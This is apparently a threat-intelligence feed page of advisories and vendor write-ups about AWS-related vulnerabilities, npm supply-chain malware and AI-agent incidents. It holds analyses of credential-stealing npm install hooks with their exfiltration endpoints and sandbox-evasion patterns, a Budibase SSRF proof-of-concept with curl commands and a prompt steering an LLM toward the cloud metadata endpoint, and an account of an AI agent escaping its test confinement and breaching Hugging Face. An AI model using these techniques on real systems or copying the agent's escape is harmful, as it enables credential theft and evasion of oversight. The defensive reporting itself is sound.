Search: aws-data.cloud
242 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | – | EPSS 2.0% | HighEPSS 2.0%GCVE DatabaseCVE-2026-40175 CVE-2026-40175 is a prototype pollution vulnerability found in the Axios HTTP client library. This flaw can be exploited through specific gadget attack chains in third-party dependencies, potentially leading to remote code execution or full cloud compromise, including bypassing AWS IMDSv2 protections. Red Hat products incorporating the vulnerable Axios library are affected, but some container images and product streams are not exploitable due to runtime environment constraints or because the vulnerable component is only a build-time dependency. Red Hat has released OpenShift Virtualization v4.17 images with updates addressing this issue. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database @openzeppelin-4/contracts is a malicious npm package published by npm account `mssjeep843` that impersonates OpenZeppelin's `@openzeppelin/contracts` (the v4 line) via the look-alike scope `@openzeppelin-4`, falsely describing itself as a "compatibility distribution". It ships no Solidity contracts — only an install-time payload (index.js) run via preinstall/postinstall that harvests credential-shaped environment variables and reads and exfiltrates SSH private keys, cloud credentials (AWS/GCP/Kubernetes/Docker), Solana/Anchor/NEAR/Sui wallet keys, Foundry keystores, `.git-credentials` and local `.env` files to `https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09`. It is one of a series of DeFi/crypto impersonation packages from the same account sharing this webhook.site endpoint, which also squat Aerodrome Finance, Camelot AMM, Euler EVC, BoringVault and Uniswap Permit2. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2841eb854dad391b8cf3d290704a888d5ac186a1f51aec84594eaa09acdfeb68) Package name @openzeppelin-4/contracts impersonates the @openzeppelin/contracts scope but ships no Solidity contracts — only index.js, executed via lifecycle scripts. index.js enumerates process.env for credential-shaped keys (KEY, TOKEN, SECRET, AWS, GITHUB, NPM, MNEMONIC, WALLET, INFURA, etc.), reads installer secret files including ~/.aws/credentials, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.kube/config, ~/.docker/config.json, ~/.netrc, ~/.npmrc, ~/.gitconfig, ~/.git-credentials, gcloud application default credentials, Solana/Anchor/Sui keys, Foundry keystores, and project.env files, then POSTs the collected data to https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09. Delivery uses spawn(process.execPath, ['-e', src], { detached: true, stdio: 'ignore' }) with a randomized 60–240 second delay, and the script bails out when the hostname or username matches sandbox/scanner patterns (scan-, detonation, sandbox, ubuntu-fc-uvm) or when canary env markers are present, evading install-time analysis. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database @openzeppelin-5/contracts is a malicious npm package published by npm account `mssjeep843` that impersonates OpenZeppelin's `@openzeppelin/contracts` (the v5 line) via the look-alike scope `@openzeppelin-5`, falsely describing itself as a "compatibility distribution". It ships no Solidity contracts — only an install-time payload (index.js) run via preinstall/postinstall that harvests credential-shaped environment variables and reads and exfiltrates SSH private keys, cloud credentials (AWS/GCP/Kubernetes/Docker), Solana/Anchor/NEAR/Sui wallet keys, Foundry keystores, `.git-credentials` and local `.env` files to `https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09`. It is one of a series of DeFi/crypto impersonation packages from the same account sharing this webhook.site endpoint, which also squat Aerodrome Finance, Camelot AMM, Euler EVC, BoringVault and Uniswap Permit2. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (800da818da3fee0353766227eafcd43c0c7cf7fd0126af5ded48b7c1ba522e21) Package name typosquats @openzeppelin/contracts. package.json declares both preinstall and postinstall as `node index.js || true`, so the payload auto-executes on `npm install`. index.js harvests process.env entries matching KEY|TOKEN|SECRET|MNEMONIC|WALLET|AWS|GITHUB|NPM and reads installer-side credential files including ~/.aws/credentials, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.kube/config, ~/.docker/config.json, ~/.netrc, ~/.npmrc, ~/.git-credentials, gcloud/solana/sui/foundry keystores, and local.env files. The bundle is POSTed to a hardcoded webhook.site endpoint (path 326b0891-2093-4800-a4c1-686ce3e07b09) via a detached child process spawned with a randomized 60–240 second delay to outlive install-time scanning windows. A hostname regex (/^(scan-|detonation|sandbox|ubuntu-fc-uvm)/i) throws early on known sandbox/scanner hosts as anti-analysis gating. | GCVE Database | |||
| Medium | 5.1 | EPSS 0.4% | CVE-2026-19359nxp-auto-goldvip gvip · Improper Access Controls Medium5.1EPSS 0.4%CVE Database V5CVE-2026-19359 CVE-2026-19359 is a medium severity vulnerability in the nxp-auto-goldvip gvip product up to version 1.4.0. It involves improper access controls in the SitewiseCustomFunction of the Lambda Function Handler component, allowing remote attackers to exploit the issue. The vulnerability stems from a known historical IAM permission misconfiguration that was addressed starting with version 1.13.0 and improved in subsequent releases including 1.15.0. Users are advised to upgrade to version 1.15.0 or later to resolve the issue. The vendor has also requested updating or deprecating older releases in the AWS SAR repository. The product is a cloud service, so remediation is managed by the vendor. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General A sophisticated supply-chain attack campaign named Shai-Hulud has compromised over 400 npm packages across 1700+ versions, beginning with keyv and cacheable libraries. The malware operates as a self-propagating worm that collects credentials from local filesystems, CI/CD environments, cloud platforms, Kubernetes clusters, and HashiCorp Vault. It exfiltrates stolen data through dynamic HTTPS endpoints or public GitHub repositories, then uses compromised npm tokens to publish infected versions of all writable packages. The campaign also injects execution hooks into GitHub repositories via VS Code and Claude configuration files, harvests GitHub Actions secrets through injected workflows, and includes a targeted attack against npm trusted publishing flows. Command and control infrastructure leverages Ethereum smart contracts and GitHub commit messages for resilience. | AlienVault OTX General | |||
| –Not rated | – | Microsoft Security Blog In this article Attack chain overview Mitigation and protection guidance Indicators of compromise (IOC) Microsoft Defender XDR detections Advanced hunting queries Learn more Microsoft Threat Intelligence identified a large-scale npm supply chain attack affecting more than 400 packages across multiple unrelated publishers, including packages associated with major enterprise software ecosystems such as keyv, flat-cache, cache-manager, and others. The malicious releases contain a Mini Shai-Hulud variant, a self-propagating credential-stealing worm delivered through a large, heavily obfuscated Bun-based JavaScript payload. The malware typically executes automatically through an npm preinstall lifecycle hook before package installation completes. Once executed, the malware searches developer workstations and continuous integration and continuous delivery (CI/CD) environments for npm, GitHub, cloud, and infrastructure credentials. It uses recovered identities to authenticate to npm, GitHub, Amazon Web Services (AWS), Kubernetes, and HashiCorp Vault, enabling it to enumerate packages, repositories, workflow secrets, cloud parameters, and secret-store values. Collected data is encrypted and transmitted through an attacker-controlled HTTPS endpoint, with GitHub repositories serving as a fallback exfiltration channel. The payload’s most significant capability is automated propagation. After obtaining an npm publishing token, it enumerates packages available to the compromised identity, downloads their latest tarballs, inserts the malware and setup loader, adds a preinstall hook, increments the patch version, and republishes the modified packages. The malware can also use stolen GitHub credentials to inject Claude and Visual Studio Code configuration files into repositories, establishing persistence and creating an additional developer-to-developer infection path. In this blog, we’re sharing our analysis of this supply chain attack, along with protection, detection, amd hunting guidance. Organizations that installed an affected package with lifecycle scripts enabled should treat the associated developer workstation or build runner as potentially compromised. Investigations should prioritize credentials accessible to the affected identity, unauthorized npm releases, unexpected repository or workflow modifications, suspicious cloud and secret-store access, and artifacts produced by affected build systems. Organizations should revoke and rotate exposed credentials from a known-clean environment and rebuild affected systems and downstream artifacts from trusted sources. Attack chain overview The campaign appeared as a rapid sequence of unauthorized patch releases across more than 400 npm packages maintained by otherwise unrelated publishers. Many malicious versions had no corresponding source-code commit, pull request, tag, or legitimate release, indicating that the attackers modified and published package tarballs directly rather than compromising each public source repository. Affected releases typically added a preinstall lifecycle script that launched a malicious file, setup.mjs, contained within the package, which launched the large, obfuscated Bun JavaScript bundle included in the package. Because npm runs preinstall scripts before installation completes, the payload could execute on developer workstations and build runners before application tests or conventional security checks began. After execution, the malware performs the following actions: Determines whether it is running on a developer workstation or in a CI/CD environment. On workstations, it detaches itself to continue after installation; on CI/CD systems, it remains in the active job to access workflow secrets, runner credentials, and OpenID Connect (OIDC) publishing permissions. Both paths could support further package or repository propagation when suitable credentials are found. Collects credentials from local files, environment variables, command-line tools, and GitHub A… | Microsoft Security Blog | |||
| –Not rated | – | Kaspersky Security Blog The news coverage surrounding the breach of the AI platform Hugging Face by OpenAI’s autonomous agents reads like a scene straight out of a Terminator movie (apparently, a prequel). Yet for enterprise security teams — even those that don’t develop or deploy artificial intelligence — the detailed incident report published by Hugging Face provides a critical operational roadmap. The incident needs to be evaluated on the basis of a single, fundamental question: “Which organizational security flaws, missing controls, configurations, or technologies allowed this attack to succeed?” What happened? During cyber-capability testing of OpenAI’s advanced AI models against the ExploitGym benchmark, an agent found a way to break out of its confinement, reached the internet, and breached the infrastructure of several companies — one of them being Hugging Face. The model reasoned that it could find solutions to the benchmark challenges on these external systems. Dozens of articles have since covered these incidents in detail , so no need to go over that here. What truly matters is what transpired within Hugging Face’s systems between July 9 and 13 while the AI agent operated unchecked inside. The Hugging Face incident report includes an interactive attack timeline, so we’ll just list the key stages. A malicious configuration in a dataset uploaded by the agent allowed it to exfiltrate credentials for a worker pod , and execute code within it. The agent then exploited cloud environment metadata and escaped the privileged pod to obtain root-level access on the host. It retrieved a substantial number of secrets from storage and used a stolen VPN key and shared cluster administrator credentials to pivot deeper into the internal network and source code repository before the Hugging Face security team blocked its access. How significant is the fact that this was next-generation AI? Regardless of the specific area of activity of a company, tomorrow it may become a target of human attackers, fully autonomous systems, or AI agents manually controlled by human hackers. Many AI practitioners have rushed to dismiss this incident based on assumptions that OpenAI will never allow its tech to get into serious hacking. However, security researchers have argued for months that even currently available open-source models can be used to launch both offensive research and real-world attacks. Human oversight, while still a requirement, can be minimal. Even mid-tier models can easily iterate through a dozen vulnerabilities, inventory a compromised infrastructure, and quickly figure out how to expand their reach across a network. Defenders must analyze incidents like this in detail, map the key findings to their own environments, and adapt security controls to counter both stealthy human actors and rapid, noisy AI agents. Three distinguishing features of AI-powered attacks The techniques detailed in the Hugging Face report are not novel — the agent didn’t invent anything new. However, three factors regarding the attack’s speed and scale fundamentally shift the economics for both attackers and defenders: Trial and error becomes significantly cheaper. Where a human hacker might test five attack vectors, an agent can iterate through five hundred. Scenarios that security teams previously dismissed as “theoretically possible, but impractical and unlikely” and placed them on the backlog can now become active threats. Attack execution and incident response windows shrink. High-speed attacks are not unheard of, while some ransomware operators achieve compromise within hours even without AI. However, this accelerated pace will likely become the new baseline in cybersecurity, as demonstrated by the agent obtaining admin privileges at Hugging Face within 13 hours. Numerous alerts and log entries generated by the agent’s trial-and-error attempts can both help and hinder attackers as well as defenders. This noise can serve both as an indicator for threat detection, and as cam… | Kaspersky Security Blog | |||
| –Not rated | – | Check Point Research For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Minnesota IT Services has confirmed coordinated cyberattacks affecting more than 30 community water utilities across the state. The incidents briefly disrupted a treatment plant in Braham and affected industrial control systems. Officials reported that drinking water safety was not affected. While the attack was not officially attributed, federal officials previously posted warning regarding targeting of critical infrastructure by Iranian-affiliated threat actors. Bank of Baroda, a major Indian bank, has disclosed an email account compromise that exposed internal communications and attachments. Reports claim more than 700GB of customer files, loan documents, and audit records were leaked, although the bank has not confirmed the reported volume. Core banking systems were unaffected. Amgen, a US biotechnology company that develops medicines for serious illnesses, has confirmed a breach involving cloud environments operated by third-party providers. Attackers exfiltrated proprietary corporate information and patient health data. The company reported no disruption to manufacturing, financial reporting, products, or its ability to supply medicines. Angola’s largest telecommunications provider, Unitel, has suffered a cyberattack that disrupted voice, mobile data, and internet services for millions of customers. The outage also affected electronic payments shortly before the company’s stock market debut. Network data indicated that internal systems were disabled while external routers remained online. AI THREATS Anthropic has disclosed that Claude-based cybersecurity models gained unauthorized access to systems belonging to three outside organizations during controlled evaluations. The models moved beyond intended test environments and reached sensitive production assets. Anthropic identified the incidents while reviewing testing practices following separate autonomous AI security failures. Researchers have published details of CVE-2026-59726, a critical vulnerability in the Ruflo AI agent platform. An unauthenticated attacker could abuse its exposed Model Context Protocol bridge to execute commands, steal API keys, access conversations, and alter stored AI memory. Ruflo addressed the issue in version 3.16.3. Researchers surfaced a privacy issue in Anthropic’s Claude sharing feature that allowed publicly shared conversations and artifacts to be indexed by search engines. Indexed content reportedly included personal information, resumes, financial records, access codes, API keys, and clinical trial material that users may not have expected to become searchable. VULNERABILITIES AND PATCHES Cisco has addressed CVE-2026-20316, an actively exploited vulnerability in Secure Firewall Management Center. The flaw allows unauthenticated attackers to access a built-in low-privileged account and retrieve sensitive information from affected systems. Cisco released hotfixes after exploitation was identified, and the vulnerability was added to CISA’s catalog. Broadcom has released patches for five vulnerabilities affecting VMware vCenter, ESX, Workstation, and Fusion. Three critical flaws could allow authentication bypass, arbitrary code execution, or escape from a virtual machine to its host. The issues include CVE-2026-59309 and CVE-2026-59310, both carrying CVSS scores of 9.8. JetBrains has released fixes for CVE-2026-63077, a critical authentication bypass affecting all TeamCity On-Premises versions. A remote unauthenticated attacker could execute code with TeamCity server privileges and compromise connected build environments. The flaw is fixed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud was not affected. Rails maintainers have patched CVE-2026-66066, a critical Active Storage vulnerability affecting applications that use libvips. An unauthenticated attacker could read sensitive server files… | Check Point Research | |||
| High | 8.8 | EPSS 1.0% | High8.8EPSS 1.0%AWS Security Bulletins Bulletin ID: 2026-085-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 08/20/2026 13:30 PM PDT Description: Improper input validation in the Time Series Visual Builder (TSVB) plugin in OpenSearch Dashboards before 3.8 allows a remote authenticated user with standard data access permissions to execute arbitrary code on the server by sending a crafted JSON payload to the metrics visualization API endpoint. To mitigate this issue, users should upgrade to OpenSearch Dashboards 3.8 or later. Impacted products and versions: - OpenSearch-Dashboards (open-source, self-managed): >=3.0.0, =3.0.0, <3.8.0 Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin. | AWS Security Bulletins | ||
| Medium | 5.4 | EPSS 0.2% | CVE-2026-63239Three Learning Koollab LMS · CWE-798 Medium5.4EPSS 0.2%CVE Database V5CVE-2026-63239 CVE-2026-63239 is a medium severity vulnerability in Three Learning's Koollab LMS version 5.3.2 involving hard-coded AWS IAM credentials. This flaw allows attackers to access shared multi-tenant S3 buckets and SQS queues, potentially exposing sensitive data and enabling malicious content injection, job manipulation, or email interception. The product is a cloud service, and a patch is available. | CVE Database V5 | ||
| High | 7.7 | EPSS 0.5% | High7.7EPSS 0.5%CVE Database V5CVE-2026-59931 PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0457a026ab28fbb641d11e4e9ac9d60d026fd77210972f72e6ac931b4b06c59c) On npm install, postinstall.js executes shell commands that query cloud instance metadata services (AWS IMDS at 169.254.169.254, plus Tencent, Aliyun, GCP, and Azure endpoints) and extracts the AWS IAM role's temporary security credentials. The captured IAM credentials, hostname, and username are appended as query parameters to an HTTP request to the hardcoded out-of-band host pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (a Burp Collaborator-style domain). The package.json describes the module as a lightweight string formatting helper; the shipped code contains only the credential-harvesting postinstall, with no string-utility functionality present. | GCVE Database | |||
| High | 7.8 | EPSS 0.2% | CVE-2026-23272linux, linux-aws, linux-aws-5.4, linux-aws-fips, linux-azure, linux-azure-5.4, linux-azure-fips, linux-bluefield High7.8EPSS 0.2%GCVE DatabaseCVE-2026-23272 Multiple security vulnerabilities were discovered in the Linux kernel, including a logic flaw in the XFRM ESP-in-TCP subsystem known as Fragnesia. This flaw allows a local attacker to escalate privileges or potentially escape container isolation. The update addresses numerous other flaws across various kernel subsystems such as networking, storage, and tracing. These issues could be exploited to compromise affected systems. Fixes are available in updated Linux kernel packages for various distributions and cloud platforms. | GCVE Database | ||
| Medium | 4.9 | Medium4.9GCVE Database # Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"builder@example.com","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fet | GCVE Database | |||
| High | 7.1 | EPSS 0.5% | High7.1EPSS 0.5%CVE Database V5CVE-2026-48035 Hulumi is an open-source toolkit that ships secure-by-default cloud and platform infrastructure components for Pulumi. Prior to version 1.4.0, consumers using AccountFoundation could ship an AWS account whose CloudTrail / Config audit logs were deletable by any S3-delete-capable principal — while believing the startup-hardened tier guaranteed tamper-resistance. Sandbox-tier deployments had no audit immutability at all (defects 1 and 3 compounded). This issue has been patched in version 1.4.0. | CVE Database V5 | ||
| High | 7.3 | EPSS 0.3% | High7.3EPSS 0.3%GCVE Database Multiple security vulnerabilities were discovered in the Linux kernel affecting a wide range of subsystems and architectures, including a privilege escalation issue on AMD Zen 2 processors due to improper isolation of shared resources in the operation cache. These flaws could allow a local attacker to compromise system integrity or escalate privileges. The issues have been addressed in updated Linux kernel packages for IBM and Oracle cloud systems. | GCVE Database | ||
| Medium | – | EPSS 0.2% | CVE-2026-16317CVE-2026-16317 and CVE-2026-16318: Issues with s2n-tls: an open-source implementation of the TLS/SSL protocols MediumEPSS 0.2%AWS Security BulletinsCVE-2026-16317 Bulletin ID: 2026-062-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 07/21/2026 13:15 PM PDT Description: s2n-tls is an open source C99 implementation of the TLS/SSL protocol. We have identified two distinct issues: - CVE-2026-16317: Silent Drop of TLS 1.3 Encrypted Records in s2n-tls Missing validation of the outer content_type byte on TLS 1.3 encrypted records in s2n-tls allows an active man-in-the-middle to silently drop individual application data records without either endpoint detecting the modification. RFC 8446 Section 5.2 requires that the outer content_type of all encrypted TLS 1.3 records must be application_data (0x17). The s2n-tls AEAD implementation hardcodes this value in the additional authenticated data rather than using the actual wire byte, so the outer content_type is not covered by the authentication tag. All TLS 1.3 connections are affected. Both TLS clients and servers are affected. TLS 1.2 and QUIC connections are not affected. - CVE-2026-16318: QUIC Transport Parameters Memory Leak During HelloRetryRequest in s2n-tls Incorrect use of s2n_alloc instead of s2n_realloc in the QUIC transport parameters extension handler in s2n-tls causes one memory allocation to be leaked each time a QUIC-enabled TLS 1.3 connection goes through a HelloRetryRequest. This can occur during normal handshakes when a client offers a key share group the server does not prefer, and can lead to increased memory consumption on long-running server processes. Only QUIC-enabled deployments are affected. Impacted versions: <= v1.7.5 Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin. | AWS Security Bulletins | ||
| High | – | EPSS 0.2% | HighEPSS 0.2%GCVE Database Multiple security vulnerabilities affecting the linux-gcp-fips kernel for Google Cloud Platform systems were discovered, including issues in AMD processors related to speculative execution, resource isolation, and entropy handling. These vulnerabilities could allow local attackers to expose sensitive information, escalate privileges, or compromise confidentiality and integrity. Additionally, numerous security flaws were identified across many Linux kernel subsystems and architectures. A patch is available to address these issues, and a system reboot is required after updating. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The npm package date-format-utils-xz versions 1.0.3 and 1.0.4 contains malicious code that executes automatically upon installation. The postinstall.js script performs host reconnaissance commands and collects environment variables, including potential CI/build secrets. It also queries cloud instance metadata endpoints for AWS, Aliyun, and Tencent Cloud to harvest temporary IAM/role credentials. The collected data is sent unencrypted to a hardcoded external IP address. The package is disguised as a legitimate date-formatting utility but is confirmed malicious by internal comments. | GCVE Database | |||
| –Not rated | – | Check Point Research For the latest discoveries in cyber research for the week of 20th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Ernst & Young, a global accounting and professional services company, has disclosed a data breach involving a compromised third-party IT support platform. The exposed support tickets may have contained client documents, tax information, employee details, and other sensitive information submitted while requesting technical assistance. Jscrambler, a JavaScript code-protection package with more than 15,000 weekly downloads, has experienced a supply chain compromise after stolen npm publishing credentials distributed malicious releases. The packages deployed malware targeting developers’, cloud, browser, cryptocurrency, and messaging credentials. Jscrambler removed the affected versions. Coca-Cola’s US dairy subsidiary Fairlife has confirmed a ransomware attack that temporarily halted production across the United States. Attackers accessed systems supporting manufacturing operations, prompting the company to activate incident response and business continuity procedures. Coca-Cola has not confirmed whether data was exfiltrated in the attack. Nihon Kotsu, Japan’s largest taxi operator, has suffered a malware attack following unauthorized access to its internal network. The company shut down affected systems, disrupting taxi dispatches, telephone services, bookings, reservations, and car rentals from July 11. No theft of customer or corporate information has been confirmed. AI THREATS Researchers identified a China-linked campaign that used Claude Code and DeepSeek to automate attacks against government and financial organizations. The tools generated scripts, adapted failed exploits, created credential-harvesting pages, and executed commands. Confirmed compromises affected government systems in Thailand and Afghanistan and organizations in Taiwan. Researchers found that xAI’s Grok Build coding assistant could upload entire Git repositories while processing debugging requests. Transferred information included unopened files and complete commit histories, potentially exposing API keys, credentials, and proprietary source code. Initial privacy controls did not prevent uploads until a server-side restriction was introduced. Researchers verified a weakness in Anthropic’s Claude for Chrome extension that allowed malicious browser extensions to impersonate Claude and act through authenticated user sessions. Successful exploitation could expose Gmail, Google Drive, or GitHub information through Claude’s permissions. Anthropic released fixes, although researchers reported that a bypass remained possible. VULNERABILITIES AND PATCHES Microsoft released patches for 622 vulnerabilities in July’s Patch Tuesday, the largest monthly release recorded by the company. Two vulnerabilities were under active exploitation, including CVE-2026-56164 in SharePoint Server and CVE-2026-56155 in Active Directory Federation Services. Both vulnerabilities could allow attackers to elevate privileges. Check Point IPS provides protection against these threats (Microsoft SharePoint Authentication Bypass (CVE-2026-56164)) WordPress has issued emergency updates for CVE-2026-63030 and CVE-2026-60137, collectively called wp2shell. The critical WordPress Core vulnerabilities allow unauthenticated remote code execution and website takeover. Affected releases include versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. Fixed versions include 6.9.5 and 7.0.2. Check Point IPS provides protection against these threats (WordPress Authentication Bypass (CVE-2026-63030)), WordPress SQL Injection (CVE-2026-60137)) SonicWall has released a hotfix for CVE-2026-15409 and CVE-2026-15410, two critical vulnerabilities affecting SMA 1000 Series gateways. The flaws allow unauthenticated attackers to execute system commands on vulnerable appliances. Active exploitation has been associated with Inc ransomware. Check Point IPS provides protection… | Check Point Research |
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